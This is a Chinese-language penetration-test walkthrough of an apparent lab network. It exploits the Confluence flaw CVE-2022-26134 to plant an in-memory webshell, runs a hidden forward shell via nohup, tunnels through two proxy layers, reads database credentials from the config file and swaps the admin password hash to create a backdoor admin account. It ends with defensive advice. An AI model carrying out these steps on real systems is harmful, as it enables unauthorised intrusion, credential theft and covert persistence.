不出网环境下的渗透测试
字数 1316 2025-08-27 12:33:22
不出网环境下的渗透测试技术文档
1. 环境概述
1.1 靶机配置
- 靶机IP: 10.10.10.135
- 开放服务: Confluence服务(端口8090)
- 存在漏洞: CVE-2022-26134 (Confluence远程代码执行漏洞)
1.2 攻击机配置
- 攻击机IP: 10.10.10.1
- 使用工具:
- vshell (正向shell工具)
- suo5 (代理工具)
- 哥斯拉 (Webshell管理工具)
- Proxifier (代理工具)
- Navicat (数据库管理工具)
2. 攻击流程详解
2.1 初始入侵阶段
利用CVE-2022-26134漏洞上传内存马
E:\web\tools\ONE-FOX集成工具箱_V8.2公开版_by狐狸\Java_path\Java_8_win\bin\java.exe -jar CVE-2022-26134.jar http://10.10.10.135:8090/ pass key
使用哥斯拉连接内存马
- 成功连接后获得初步控制权限
2.2 建立第一层代理
使用suo5插件注入Suo5Filter马
- 通过哥斯拉注入Suo5Filter内存马
- 使用suo5客户端连接建立代理通道
2.3 获取正向shell
部署vshell监听器
- 通过哥斯拉上传vshell的tcp_linux_amd64到/var/tmp目录
- 赋予执行权限并后台运行:
cd /var/tmp
chmod +x tcp_linux_amd64
nohup ./tcp_linux_amd64 > /dev/null 2>&1 &
- 查看内网IP配置:
cat /etc/hosts
(发现内网IP为172.18.0.3)
- 在vshell客户端建立正向连接
2.4 数据库信息收集
获取Confluence数据库配置
- 查看配置文件:
/var/atlassian/application-data/confluence/confluence.cfg.xml
-
发现数据库凭证:
- 用户名: postgres
- 密码: postgres
- 数据库地址: db (通过hosts解析为172.18.0.2)
- 端口: 5432
-
验证数据库连接:
curl db -vv
2.5 建立第二层代理访问数据库
使用vshell创建隧道
- 在vshell中设置数据库端口转发
配置Proxifier
- 设置代理规则将数据库流量通过建立的隧道转发
使用Navicat连接数据库
- 通过代理连接PostgreSQL数据库(172.18.0.2:5432)
- 查询confluence库中的cwd_user表获取管理员凭证
2.6 凭证操作与持久化
密码处理过程
- 备份原始PBKDF2加密密码:
{PKCS5S2}X1AmkpM26Jj50k/2GNBEHB2DfbvKTmoevf90yaWYgALYVarRZK1Bmv2XcdxjDvPR
- 替换为已知密码的哈希值(123456):
{PKCS5S2}UokaJs5wj02LBUJABpGmkxvCX0q+IbTdaUfxy1M9tVOeI38j95MRrVxWjNCu6gsm
Confluence登录与账号操作
- 使用修改后的密码(123456)登录Confluence
- 创建新的管理员账号
- 退出后将admin账号密码恢复为原始哈希值
3. 技术要点总结
3.1 关键工具链
- CVE-2022-26134利用: 用于初始攻击向量
- 哥斯拉: Webshell管理
- suo5: 第一层代理建立
- vshell: 正向shell获取
- Proxifier: 第二层代理配置
- Navicat: 数据库管理
3.2 渗透技巧
- 不出网环境下使用多层代理技术
- nohup后台运行不留痕迹:
nohup ./tcp_linux_amd64 > /dev/null 2>&1 &
- 数据库凭证获取路径:
/var/atlassian/application-data/confluence/confluence.cfg.xml
- 密码哈希替换技术实现持久化
3.3 防御建议
- 及时修补Confluence漏洞(CVE-2022-26134)
- 限制数据库仅内网访问
- 监控异常进程(如/var/tmp下的可疑文件)
- 实施严格的密码哈希保护机制
- 网络隔离策略,防止横向移动
4. 免责声明
本技术文档仅用于网络安全研究目的,所有技术信息应按照《中华人民共和国网络安全法》合法使用。任何未经授权的渗透测试行为均属违法。